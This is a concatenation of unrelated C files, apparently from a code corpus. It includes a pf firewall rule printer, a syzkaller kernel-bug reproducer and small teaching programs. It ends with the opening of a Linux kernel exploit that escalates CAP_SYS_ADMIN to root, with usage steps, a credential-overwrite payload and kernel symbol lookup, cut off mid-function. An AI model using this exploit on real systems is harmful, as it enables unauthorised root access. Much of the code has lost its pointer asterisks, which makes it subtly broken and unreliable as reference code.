char* pqname; char* tagname; char* match_tagname; int rtableid; TYPE_5__ rpool; TYPE_4__ divert; scalar_t__ match_tag_not; scalar_t__ allow_opts; TYPE_3__ max_src_conn_rate; scalar_t__ flagset; scalar_t__ flags; TYPE_2__ gid; TYPE_1__ uid; int /<<< orphan/ dst; int /<<< orphan/ os_fingerprint; int /<<< orphan/ src; scalar_t__ ifnot; scalar_t__ quick; scalar_t__ natpass; } ; struct icmptypeent {char* name; } ; struct icmpcodeent {char* name; } ; typedef int /<<< orphan/ buf ; struct TYPE_12__ {char* name; int timeout; } ; /* Variables and functions / #define AF_INET 129 #define AF_INET6 128 int /<<< orphan/ GID_MAX ; int IPPROTO_TCP ; int PFRULE_FRAGMENT ; int PFRULE_IFBOUND ; int PFRULE_NODF ; int PFRULE_NOSYNC ; int PFRULE_RANDOMID ; int PFRULE_REASSEMBLE_TCP ; int PFRULE_RETURN ; int PFRULE_RETURNICMP ; int PFRULE_RETURNRST ; int PFRULE_RULESRCTRACK ; int PFRULE_SET_TOS ; int PFRULE_SRCTRACK ; int PFRULE_STATESLOPPY ; int PFSTATE_SETMASK ; int PFSTATE_SETPRIO ; int PFTM_MAX ; scalar_t__ PF_AZERO (int /<<< orphan/ ,int) ; size_t PF_BINAT ; size_t PF_DROP ; scalar_t__ PF_DUPTO ; int PF_FLUSH_GLOBAL ; scalar_t__ PF_IN ; int PF_LOG ; int PF_LOG_ALL ; int PF_LOG_SOCKET_LOOKUP ; size_t PF_NAT ; int PF_NORDR ; scalar_t__ PF_OUT ; size_t PF_PASS ; scalar_t__ PF_PRIO_ZERO ; size_t PF_RDR ; scalar_t__ PF_REPLYTO ; scalar_t__ PF_ROUTETO ; size_t PF_SCRUB ; scalar_t__ PF_STATE_MODULATE ; scalar_t__ PF_STATE_NORMAL ; scalar_t__ PF_STATE_SYNPROXY ; int /<<< orphan/ UID_MAX ; double UINT_MAX ; struct icmpcodeent* geticmpcodebynumber (int,int,int) ; struct icmptypeent* geticmptypebynumber (int,int) ; struct protoent* getprotobynumber (int) ; int /<<< orphan/ * inet_ntop (int,int /<<< orphan/ ,char,int) ; int ntohs (scalar_t__) ; TYPE_6__* pf_timeouts ; int /<<< orphan/ print_flags (scalar_t__) ; int /<<< orphan/ print_fromto (int /<<< orphan/ ,int /<<< orphan/ ,int /<<< orphan/ ,int,int,int,int) ; int /<<< orphan/ print_pool (TYPE_5__,int /<<< orphan/ ,int /<<< orphan/ ,int,size_t) ; int /<<< orphan/ print_ugid (scalar_t__,int /<<< orphan/ ,int /<<< orphan/ ,char,int /<<< orphan/ ) ; int /<<< orphan/ printf (char,...) ; int /<<< orphan/ snprintf (char,int,char,double) ; int strlen (char) ; void print_rule(struct pf_rule r, const char anchor_call, int verbose, int numeric) { static const char actiontypes[] = { "pass", "block", "scrub", "no scrub", "nat", "no nat", "binat", "no binat", "rdr", "no rdr" }; static const char anchortypes[] = { "anchor", "anchor", "anchor", "anchor", "nat-anchor", "nat-anchor", "binat-anchor", "binat-anchor", "rdr-anchor", "rdr-anchor" }; int i, opts; if (verbose) printf("@%d ", r->nr); if (r->action > PF_NORDR) printf("action(%d)", r->action); else if (anchor_call[0]) { if (anchor_call[0] == '_') { printf("%s", anchortypes[r->action]); } else printf("%s \"%s\"", anchortypes[r->action], anchor_call); } else { printf("%s", actiontypes[r->action]); if (r->natpass) printf(" pass"); } if (r->action == PF_DROP) { if (r->rule_flag & PFRULE_RETURN) printf(" return"); else if (r->rule_flag & PFRULE_RETURNRST) { if (!r->return_ttl) printf(" return-rst"); else printf(" return-rst(ttl %d)", r->return_ttl); } else if (r->rule_flag & PFRULE_RETURNICMP) { const struct icmpcodeent ic, ic6; ic = geticmpcodebynumber(r->return_icmp >> 8, r->return_icmp & 255, AF_INET); ic6 = geticmpcodebynumber(r->return_icmp6 >> 8, r->return_icmp6 & 255, AF_INET6); switch (r->af) { case AF_INET: printf(" return-icmp"); if (ic == NULL) printf("(%u)", r->return_icmp & 255); else printf("(%s)", ic->name); break; case AF_INET6: printf(" return-icmp6"); if (ic6 == NULL) printf("(%u)", r->return_icmp6 & 255); else printf("(%s)", ic6->name); break; default: printf(" return-icmp"); if (ic == NULL) printf("(%u, ", r->return_icmp & 255); else printf("(%s, ", ic->name); if (ic6 == NULL) printf("%u)", r->return_icmp6 & 255); else printf("%s)", ic6->name); break; } } else printf(" drop"); } if (r->direction == PF_IN) printf(" in"); else if (r->direction == PF_OUT) printf(" out"); if (r->log) { printf(" log"); if (r->log & ~PF_LOG \|\| r->logif) { int count = 0; printf(" ("); if (r->log & PF_LOG_ALL) printf("%sall", count++ ? ", " : ""); if (r->log & PF_LOG_SOCKET_LOOKUP) printf("%suser", count++ ? ", " : ""); if (r->logif) printf("%sto pflog%u", count++ ? ", " : "", r->logif); printf(")"); } } if (r->quick) printf(" quick"); if (r->ifname[0]) { if (r->ifnot) printf(" on ! %s", r->ifname); else printf(" on %s", r->ifname); } if (r->rt) { if (r->rt == PF_ROUTETO) printf(" route-to"); else if (r->rt == PF_REPLYTO) printf(" reply-to"); else if (r->rt == PF_DUPTO) printf(" dup-to"); printf(" "); print_pool(&r->rpool, 0, 0, r->af, PF_PASS); } if (r->af) { if (r->af == AF_INET) printf(" inet"); else printf(" inet6"); } if (r->proto) { struct protoent p; if ((p = getprotobynumber(r->proto)) != NULL) printf(" proto %s", p->p_name); else printf(" proto %u", r->proto); } print_fromto(&r->src, r->os_fingerprint, &r->dst, r->af, r->proto, verbose, numeric); if (r->uid.op) print_ugid(r->uid.op, r->uid.uid[0], r->uid.uid[1], "user", UID_MAX); if (r->gid.op) print_ugid(r->gid.op, r->gid.gid[0], r->gid.gid[1], "group", GID_MAX); if (r->flags \|\| r->flagset) { printf(" flags "); print_flags(r->flags); printf("/"); print_flags(r->flagset); } else if (r->action == PF_PASS && (!r->proto \|\| r->proto == IPPROTO_TCP) && !(r->rule_flag & PFRULE_FRAGMENT) && !anchor_call[0] && r->keep_state) printf(" flags any"); if (r->type) { const struct icmptypeent it; it = geticmptypebynumber(r->type-1, r->af); if (r->af != AF_INET6) printf(" icmp-type"); else printf(" icmp6-type"); if (it != NULL) printf(" %s", it->name); else printf(" %u", r->type-1); if (r->code) { const struct icmpcodeent ic; ic = geticmpcodebynumber(r->type-1, r->code-1, r->af); if (ic != NULL) printf(" code %s", ic->name); else printf(" code %u", r->code-1); } } if (r->tos) printf(" tos 0x%2.2x", r->tos); if (r->prio) printf(" prio %u", r->prio == PF_PRIO_ZERO ? 0 : r->prio); if (r->scrub_flags & PFSTATE_SETMASK) { char comma = ""; printf(" set ("); if (r->scrub_flags & PFSTATE_SETPRIO) { if (r->set_prio[0] == r->set_prio[1]) printf("%s prio %u", comma, r->set_prio[0]); else printf("%s prio(%u, %u)", comma, r->set_prio[0], r->set_prio[1]); comma = ","; } printf(" )"); } if (!r->keep_state && r->action == PF_PASS && !anchor_call[0]) printf(" no state"); else if (r->keep_state == PF_STATE_NORMAL) printf(" keep state"); else if (r->keep_state == PF_STATE_MODULATE) printf(" modulate state"); else if (r->keep_state == PF_STATE_SYNPROXY) printf(" synproxy state"); if (r->prob) { char buf[20]; snprintf(buf, sizeof(buf), "%f", r->prob100.0/(UINT_MAX+1.0)); for (i = strlen(buf)-1; i > 0; i--) { if (buf[i] == '0') buf[i] = '\0'; else { if (buf[i] == '.') buf[i] = '\0'; break; } } printf(" probability %s%%", buf); } opts = 0; if (r->max_states \|\| r->max_src_nodes \|\| r->max_src_states) opts = 1; if (r->rule_flag & PFRULE_NOSYNC) opts = 1; if (r->rule_flag & PFRULE_SRCTRACK) opts = 1; if (r->rule_flag & PFRULE_IFBOUND) opts = 1; if (r->rule_flag & PFRULE_STATESLOPPY) opts = 1; for (i = 0; !opts && i < PFTM_MAX; ++i) if (r->timeout[i]) opts = 1; if (opts) { printf(" ("); if (r->max_states) { printf("max %u", r->max_states); opts = 0; } if (r->rule_flag & PFRULE_NOSYNC) { if (!opts) printf(", "); printf("no-sync"); opts = 0; } if (r->rule_flag & PFRULE_SRCTRACK) { if (!opts) printf(", "); printf("source-track"); if (r->rule_flag & PFRULE_RULESRCTRACK) printf(" rule"); else printf(" global"); opts = 0; } if (r->max_src_states) { if (!opts) printf(", "); printf("max-src-states %u", r->max_src_states); opts = 0; } if (r->max_src_conn) { if (!opts) printf(", "); printf("max-src-conn %u", r->max_src_conn); opts = 0; } if (r->max_src_conn_rate.limit) { if (!opts) printf(", "); printf("max-src-conn-rate %u/%u", r->max_src_conn_rate.limit, r->max_src_conn_rate.seconds); opts = 0; } if (r->max_src_nodes) { if (!opts) printf(", "); printf("max-src-nodes %u", r->max_src_nodes); opts = 0; } if (r->overload_tblname[0]) { if (!opts) printf(", "); printf("overload <%s>", r->overload_tblname); if (r->flush) printf(" flush"); if (r->flush & PF_FLUSH_GLOBAL) printf(" global"); } if (r->rule_flag & PFRULE_IFBOUND) { if (!opts) printf(", "); printf("if-bound"); opts = 0; } if (r->rule_flag & PFRULE_STATESLOPPY) { if (!opts) printf(", "); printf("sloppy"); opts = 0; } for (i = 0; i < PFTM_MAX; ++i) if (r->timeout[i]) { int j; if (!opts) printf(", "); opts = 0; for (j = 0; pf_timeouts[j].name != NULL; ++j) if (pf_timeouts[j].timeout == i) break; printf("%s %u", pf_timeouts[j].name == NULL ? "inv.timeout" : pf_timeouts[j].name, r->timeout[i]); } printf(")"); } if (r->rule_flag & PFRULE_FRAGMENT) printf(" fragment"); if (r->rule_flag & PFRULE_NODF) printf(" no-df"); if (r->rule_flag & PFRULE_RANDOMID) printf(" random-id"); if (r->min_ttl) printf(" min-ttl %d", r->min_ttl); if (r->max_mss) printf(" max-mss %d", r->max_mss); if (r->rule_flag & PFRULE_SET_TOS) printf(" set-tos 0x%2.2x", r->set_tos); if (r->allow_opts) printf(" allow-opts"); if (r->action == PF_SCRUB) { if (r->rule_flag & PFRULE_REASSEMBLE_TCP) printf(" reassemble tcp"); printf(" fragment reassemble"); } if (r->label[0]) printf(" label \"%s\"", r->label); if (r->qname[0] && r->pqname[0]) printf(" queue(%s, %s)", r->qname, r->pqname); else if (r->qname[0]) printf(" queue %s", r->qname); if (r->tagname[0]) printf(" tag %s", r->tagname); if (r->match_tagname[0]) { if (r->match_tag_not) printf(" !"); printf(" tagged %s", r->match_tagname); } if (r->rtableid != -1) printf(" rtable %u", r->rtableid); if (r->divert.port) { #ifdef __FreeBSD__ printf(" divert-to %u", ntohs(r->divert.port)); #else if (PF_AZERO(&r->divert.addr, r->af)) { printf(" divert-reply"); } else { / XXX cut&paste from print_addr */ char buf[48]; printf(" divert-to "); if (inet_ntop(r->af, &r->divert.addr, buf, sizeof(buf)) == NULL) printf("?"); else printf("%s", buf); printf(" port %u", ntohs(r->divert.port)); } #endif } if (!anchor_call[0] && (r->action == PF_NAT \|\| r->action == PF_BINAT \|\| r->action == PF_RDR)) { printf(" -> "); print_pool(&r->rpool, r->rpool.proxy_port[0], r->rpool.proxy_port[1], r->af, r->action); } }
the_stack_data/76700025.c	// possible deadlock in free_huge_page // https://syzkaller.appspot.com/bug?id=4f0ba0228710c04e580c // status:0 // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include <dirent.h> #include <endian.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <signal.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/prctl.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #include <linux/futex.h> static void sleep_ms(uint64_t ms) { usleep(ms * 1000); } static uint64_t current_time_ms(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) exit(1); return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000; } static void thread_start(void* (fn)(void), void* arg) { pthread_t th; pthread_attr_t attr; pthread_attr_init(&attr); pthread_attr_setstacksize(&attr, 128 << 10); int i = 0; for (; i < 100; i++) { if (pthread_create(&th, &attr, fn, arg) == 0) { pthread_attr_destroy(&attr); return; } if (errno == EAGAIN) { usleep(50); continue; } break; } exit(1); } typedef struct { int state; } event_t; static void event_init(event_t* ev) { ev->state = 0; } static void event_reset(event_t* ev) { ev->state = 0; } static void event_set(event_t* ev) { if (ev->state) exit(1); __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE); syscall(SYS_futex, &ev->state, FUTEX_WAKE \| FUTEX_PRIVATE_FLAG, 1000000); } static void event_wait(event_t* ev) { while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) syscall(SYS_futex, &ev->state, FUTEX_WAIT \| FUTEX_PRIVATE_FLAG, 0, 0); } static int event_isset(event_t* ev) { return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE); } static int event_timedwait(event_t* ev, uint64_t timeout) { uint64_t start = current_time_ms(); uint64_t now = start; for (;;) { uint64_t remain = timeout - (now - start); struct timespec ts; ts.tv_sec = remain / 1000; ts.tv_nsec = (remain % 1000) * 1000 * 1000; syscall(SYS_futex, &ev->state, FUTEX_WAIT \| FUTEX_PRIVATE_FLAG, 0, &ts); if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) return 1; now = current_time_ms(); if (now - start > timeout) return 0; } } static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY \| O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { int err = errno; close(fd); errno = err; return false; } close(fd); return true; } static void kill_and_wait(int pid, int* status) { kill(-pid, SIGKILL); kill(pid, SIGKILL); for (int i = 0; i < 100; i++) { if (waitpid(-1, status, WNOHANG \| __WALL) == pid) return; usleep(1000); } DIR* dir = opendir("/sys/fs/fuse/connections"); if (dir) { for (;;) { struct dirent* ent = readdir(dir); if (!ent) break; if (strcmp(ent->d_name, ".") == 0 \|\| strcmp(ent->d_name, "..") == 0) continue; char abort[300]; snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name); int fd = open(abort, O_WRONLY); if (fd == -1) { continue; } if (write(fd, abort, 1) < 0) { } close(fd); } closedir(dir); } else { } while (waitpid(-1, status, __WALL) != pid) { } } static void setup_test() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); write_file("/proc/self/oom_score_adj", "1000"); } static void setup_sysctl() { static struct { const char* name; const char* data; } files[] = { {"/sys/kernel/debug/x86/nmi_longest_ns", "10000000000"}, {"/proc/sys/kernel/hung_task_check_interval_secs", "20"}, {"/proc/sys/net/core/bpf_jit_enable", "1"}, {"/proc/sys/net/core/bpf_jit_kallsyms", "1"}, {"/proc/sys/net/core/bpf_jit_harden", "0"}, {"/proc/sys/kernel/kptr_restrict", "0"}, {"/proc/sys/kernel/softlockup_all_cpu_backtrace", "1"}, {"/proc/sys/fs/mount-max", "100"}, {"/proc/sys/vm/oom_dump_tasks", "0"}, {"/proc/sys/debug/exception-trace", "0"}, {"/proc/sys/kernel/printk", "7 4 1 3"}, {"/proc/sys/net/ipv4/ping_group_range", "0 65535"}, {"/proc/sys/kernel/keys/gc_delay", "1"}, {"/proc/sys/vm/nr_overcommit_hugepages", "4"}, {"/proc/sys/vm/oom_kill_allocating_task", "1"}, }; for (size_t i = 0; i < sizeof(files) / sizeof(files[0]); i++) { if (!write_file(files[i].name, files[i].data)) printf("write to %s failed: %s\n", files[i].name, strerror(errno)); } } struct thread_t { int created, call; event_t ready, done; }; static struct thread_t threads[16]; static void execute_call(int call); static int running; static void* thr(void* arg) { struct thread_t* th = (struct thread_t)arg; for (;;) { event_wait(&th->ready); event_reset(&th->ready); execute_call(th->call); __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED); event_set(&th->done); } return 0; } static void execute_one(void) { int i, call, thread; int collide = 0; again: for (call = 0; call < 6; call++) { for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0])); thread++) { struct thread_t th = &threads[thread]; if (!th->created) { th->created = 1; event_init(&th->ready); event_init(&th->done); event_set(&th->done); thread_start(thr, th); } if (!event_isset(&th->done)) continue; event_reset(&th->done); th->call = call; __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED); event_set(&th->ready); if (collide && (call % 2) == 0) break; event_timedwait(&th->done, 45); break; } } for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++) sleep_ms(1); if (!collide) { collide = 1; goto again; } } static void execute_one(void); #define WAIT_FLAGS __WALL static void loop(void) { int iter = 0; for (;; iter++) { int pid = fork(); if (pid < 0) exit(1); if (pid == 0) { setup_test(); execute_one(); exit(0); } int status = 0; uint64_t start = current_time_ms(); for (;;) { if (waitpid(-1, &status, WNOHANG \| WAIT_FLAGS) == pid) break; sleep_ms(1); if (current_time_ms() - start < 5 * 1000) continue; kill_and_wait(pid, &status); break; } } } uint64_t r[1] = {0xffffffffffffffff}; void execute_call(int call) { intptr_t res = 0; switch (call) { case 0: res = syscall(__NR_socket, 2ul, 1ul, 0); if (res != -1) r[0] = res; break; case 1: (uint16_t)0x20000280 = 2; (uint16_t)0x20000282 = htobe16(0x4e20); (uint32_t)0x20000284 = htobe32(0xe0000002); syscall(__NR_bind, r[0], 0x20000280ul, 0x10ul); break; case 2: (uint32_t)0x20000040 = 1; syscall(__NR_setsockopt, r[0], 1, 0x3c, 0x20000040ul, 0xfff0ul); break; case 3: (uint16_t)0x20000080 = 2; (uint16_t)0x20000082 = htobe16(0x4e20); (uint32_t)0x20000084 = htobe32(0); syscall(__NR_sendto, r[0], 0ul, 0ul, 0x20020001ul, 0x20000080ul, 0x10ul); break; case 4: (uint64_t)0x20001900 = 0; (uint32_t)0x20001908 = 0; (uint64_t)0x20001910 = 0x20000600; (uint64_t)0x20000600 = 0x200000c0; memcpy((void)0x200000c0, "o", 1); (uint64_t)0x20000608 = 1; (uint64_t)0x20001918 = 1; (uint64_t)0x20001920 = 0; (uint64_t)0x20001928 = 0; (uint32_t)0x20001930 = 0; (uint32_t)0x20001938 = 0; (uint64_t)0x20001940 = 0; (uint32_t)0x20001948 = 0; (uint64_t)0x20001950 = 0; (uint64_t)0x20001958 = 0; (uint64_t)0x20001960 = 0; (uint64_t)0x20001968 = 0; (uint32_t)0x20001970 = 0; (uint32_t)0x20001978 = 0; (uint64_t)0x20001980 = 0; (uint32_t)0x20001988 = 0; (uint64_t)0x20001990 = 0x20002040; (uint64_t)0x20002040 = 0x20001c40; memcpy((void)0x20001c40, ".", 1); (uint64_t)0x20002048 = 1; (uint64_t)0x20001998 = 1; (uint64_t)0x200019a0 = 0; (uint64_t)0x200019a8 = 0; (uint32_t)0x200019b0 = 0; (uint32_t)0x200019b8 = 0x11000000; (uint64_t)0x200019c0 = 0; (uint32_t)0x200019c8 = 0; (uint64_t)0x200019d0 = 0; (uint64_t)0x200019d8 = 0; (uint64_t)0x200019e0 = 0; (uint64_t)0x200019e8 = 0; (uint32_t)0x200019f0 = 0; (uint32_t)0x200019f8 = 0; (uint64_t)0x20001a00 = 0; (uint32_t)0x20001a08 = 0; (uint64_t)0x20001a10 = 0; (uint64_t)0x20001a18 = 0; (uint64_t)0x20001a20 = 0; (uint64_t)0x20001a28 = 0; (uint32_t)0x20001a30 = 0; (uint32_t)0x20001a38 = 0x15000000; (uint64_t)0x20001a40 = 0; (uint32_t)0x20001a48 = 0; (uint64_t)0x20001a50 = 0; (uint64_t)0x20001a58 = 0; (uint64_t)0x20001a60 = 0; (uint64_t)0x20001a68 = 0; (uint32_t)0x20001a70 = 0; (uint32_t)0x20001a78 = 0; syscall(__NR_sendmmsg, r[0], 0x20001900ul, 6ul, 0x60c5840ul); break; case 5: syscall(__NR_mmap, 0x20000000ul, 0xff5000ul, 0x2000002ul, 0xcc272ul, -1, 0x80000000ul); break; } } int main(void) { syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); setup_sysctl(); loop(); return 0; }
the_stack_data/215769066.c	/* 算法名称：折半插入排序（引入二分搜索的插入排序）基本思想：通过构建有序序列，对于未排序数据，在已排序序列中从利用二分搜索，找到相应位置并插入。相比传统的插入排序减少了比较次数。时间复杂度：O(n2) 空间复杂度：O(1) */ #include<stdio.h> #include<math.h> void insertionSort(int[], int, int); int binarySearch(int[], int, int, int); main(){ int arr[] = {1, 2, 55, 4, 37, 3, 44, 21, 33, 304 ,45, 16}; int len = sizeof(arr)/4; insertionSort(arr, 0, len - 1); int i; for(i = 0 ; i < len; i++){ printf("%d ", arr[i]); } } void insertionSort(int arr[], int left, int right){ int temp_num, i; for(i = left + 1; i <= right; i++){ temp_num = arr[i]; //第一个没排好序的数字 int j = i - 1;//最后一个排好序的数字的索引 //利用二分搜索找到正确位置 int index = binarySearch(arr, temp_num, 0, j); index = abs(index); //把arr数组中从index到最后一个排好序的数字全部右移一位 for(; j >= index; j--){ arr[j + 1] = arr[j]; } arr[index] = temp_num; } } //二分搜索，找到目标值时返回值为下标，找不到时返回应放置的位置（负数） int binarySearch(int arr[], int x, int left, int right){ if(left > right){ return -left; } int mid = left + (right - left)/2; if(arr[mid] == x){ return mid; } else if(arr[mid] > x){ return binarySearch(arr, x, left, mid - 1); } else if(arr[mid] < x){ return binarySearch(arr, x, mid + 1, right); } }
the_stack_data/139962.c	/* * Copyright (C) 2009-2021 Alex Smith * * Permission to use, copy, modify, and/or distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. / /* * @file * @brief Memory moving function. / #include <string.h> /* * Copy overlapping data in memory. * * Copies bytes from a source memory area to a destination memory area, * where both areas may overlap. * * @param dest The memory area to copy to. * @param src The memory area to copy from. * @param count The number of bytes to copy. * * @return Destination location. / void memmove(void dest, const void src, size_t count) { const unsigned char s; unsigned char d; if (src != dest) { if (src > dest) { memcpy(dest, src, count); } else { d = (unsigned char )dest + (count - 1); s = (const unsigned char )src + (count - 1); while (count--) d-- = s--; } } return dest; }
the_stack_data/125141749.c	#include<stdio.h> int main(){ // METHODE 1 for(int i = 1; i <= 100; i++){ printf("%d - ", i); } printf("\n"); // METHODE 2 int i = 0; while(i < 100){ printf("%d - ", ++i); } printf("\n"); // METHODE 3 i = 0; do{ printf("%d - ", ++i ); }while(i < 100); return 0; }
the_stack_data/58519.c	// C Compiler flag: -fopenmp #include <stdio.h> #include <omp.h> #define N 20 int main(int argc, char *argv[]) { int myid; omp_set_dynamic(0); // запретить библиотеке openmp менять число потоков во время исполнения omp_set_num_threads(3); // установить число потоков в 2 int threadsCount = omp_get_max_threads(); printf("%d\n",threadsCount); #pragma omp parallel if(threadsCount > 1) private(myid, threadsCount) { myid = omp_get_thread_num(); threadsCount = omp_get_num_threads(); printf("Hello, It's parallel and I'm thread number %d from %d\n", myid, threadsCount); } omp_set_num_threads(1); threadsCount = omp_get_max_threads(); #pragma omp parallel if(omp_get_num_threads() > 1) private(myid, threadsCount) { myid = omp_get_thread_num(); threadsCount = omp_get_num_threads(); printf("Hello, it's sequence and I'm thread number %d from %d\n", myid, threadsCount); } return 0; }
the_stack_data/845074.c	#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #include <time.h> #include <stdlib.h> #define NUMBER_OF_CHILDREN 5 volatile sig_atomic_t counting_childs = 0; void handle_signal(int signo, siginfo_t sinfo, void context) { counting_childs--; char buffer[46] = "\0"; sprintf(buffer, "\nChild just finished, I still have %d children\n",counting_childs); write(STDOUT_FILENO, buffer, (sizeof(buffer)+1)); } int main () { struct sigaction act; int i=0,j=0,status=0; pid_t pids[NUMBER_OF_CHILDREN]; memset(&act, 0, sizeof(struct sigaction)); sigfillset(&act.sa_mask); act.sa_sigaction = handle_signal; act.sa_flags = SA_SIGINFO\|SA_NOCLDWAIT\|SA_NOCLDSTOP; sigaction(SIGCHLD, &act, NULL); for (i=0; i<NUMBER_OF_CHILDREN; i++) { pids[i] = fork(); if (pids[i] > 0){ counting_childs++; } else { for (j=i200; j<=(i+5)200; j++){ printf("[%d]\n ",j); } exit(pids[i]); } } while (counting_childs != 0){ pause(); printf("paused\n"); } for (j=0; j<NUMBER_OF_CHILDREN; j++){ wait(&status); } return 0; }
the_stack_data/1241590.c	// RUN: %clang_cc1 %s -emit-llvm -o - \| FileCheck %s // CHECK: hidden global int X __attribute__ ((__visibility__ ("hidden"))) = 123;
the_stack_data/18887256.c	void fence() { asm("sync"); } void lwfence() { asm("lwsync"); } void isync() { asm("isync"); } int __unbuffered_cnt = 0; int __unbuffered_p0_r1 = 0; int __unbuffered_p0_r3 = 0; int __unbuffered_p1_r1 = 0; int __unbuffered_p2_r1 = 0; int __unbuffered_p2_r3 = 0; int __unbuffered_p3_r1 = 0; int x = 0; int y = 0; void P0(void arg) { __unbuffered_p0_r1 = y; lwfence(); __unbuffered_p0_r3 = x; // Instrumentation for CPROVER fence(); __unbuffered_cnt++; } void P1(void arg) { __unbuffered_p1_r1 = 1; x = __unbuffered_p1_r1; // Instrumentation for CPROVER fence(); __unbuffered_cnt++; } void P2(void arg) { __unbuffered_p2_r1 = x; lwfence(); __unbuffered_p2_r3 = y; // Instrumentation for CPROVER fence(); __unbuffered_cnt++; } void P3(void arg) { __unbuffered_p3_r1 = 1; y = __unbuffered_p3_r1; // Instrumentation for CPROVER fence(); __unbuffered_cnt++; } int main() { __CPROVER_ASYNC_0: P0(0); __CPROVER_ASYNC_1: P1(0); __CPROVER_ASYNC_2: P2(0); __CPROVER_ASYNC_3: P3(0); __CPROVER_assume(__unbuffered_cnt == 4); fence(); // EXPECT:exists __CPROVER_assert( !(__unbuffered_p0_r1 == 1 && __unbuffered_p0_r3 == 0 && __unbuffered_p2_r1 == 1 && __unbuffered_p2_r3 == 0), "Program proven to be relaxed for PPC, model checker says YES."); return 0; }
the_stack_data/1026084.c	/* * Linux Kernel CAP_SYS_ADMIN to root exploit * by Dan Rosenberg * @djrbliss on twitter * * Usage: * gcc -w caps-to-root.c -o caps-to-root * sudo setcap cap_sys_admin+ep caps-to-root * ./caps-to-root * * This exploit is NOT stable: * * * It only works on 32-bit x86 machines * * * It only works on >= 2.6.34 kernels (it could probably be ported back, but * it involves winning a race condition) * * * It requires symbol support for symbols that aren't included by default in * several distributions * * * It requires the Phonet protocol, which may not be compiled on some * distributions * * * You may experience problems on multi-CPU systems * * It has been tested on a stock Ubuntu 10.10 installation. I wouldn't be * surprised if it doesn't work on other distributions. * * ---- * * Lately there's been a lot of talk about how a large subset of Linux * capabilities are equivalent to root. CAP_SYS_ADMIN is a catch-all * capability that, among other things, allows mounting filesystems and * injecting commands into an administrator's shell - in other words, it * trivially allows you to get root. However, I found another way to get root * from CAP_SYS_ADMIN...the hard way. * * This exploit leverages a signedness error in the Phonet protocol. By * specifying a negative protocol index, I can craft a series of fake * structures in userspace and cause the incrementing of an arbitrary kernel * address, which I then leverage to execute arbitrary kernel code. * * Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth, * and bla. * / #include <stdio.h> #include <fcntl.h> #include <sys/socket.h> #include <errno.h> #include <string.h> #include <linux/capability.h> #include <sys/utsname.h> #include <sys/mman.h> #include <unistd.h> typedef int __attribute__((regparm(3))) ( _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; int getroot(void) { commit_creds(prepare_kernel_cred(0)); return 0; } int konami(void) { /* Konami code! / asm("inc %edx;" / UP / "inc %edx;" / UP / "dec %edx;" / DOWN / "dec %edx;" / DOWN / "shl %edx;" / LEFT / "shr %edx;" / RIGHT / "shl %edx;" / LEFT / "shr %edx;" / RIGHT / "push %ebx;" / B / "pop %ebx;" "push %eax;" / A / "pop %eax;" "mov $getroot, %ebx;" "call %ebx;"); /* START / return 0; } / thanks spender... / unsigned long get_kernel_sym(char name) { FILE f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) return 0; oldstyle = 1; } while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void )&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void )&addr, sname); if (ret == 2) { char p; if (strstr(sname, "_O/") \|\| strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char )sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char )sname && (p - 1) == '_') p--; p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p\n", name, (void )addr); 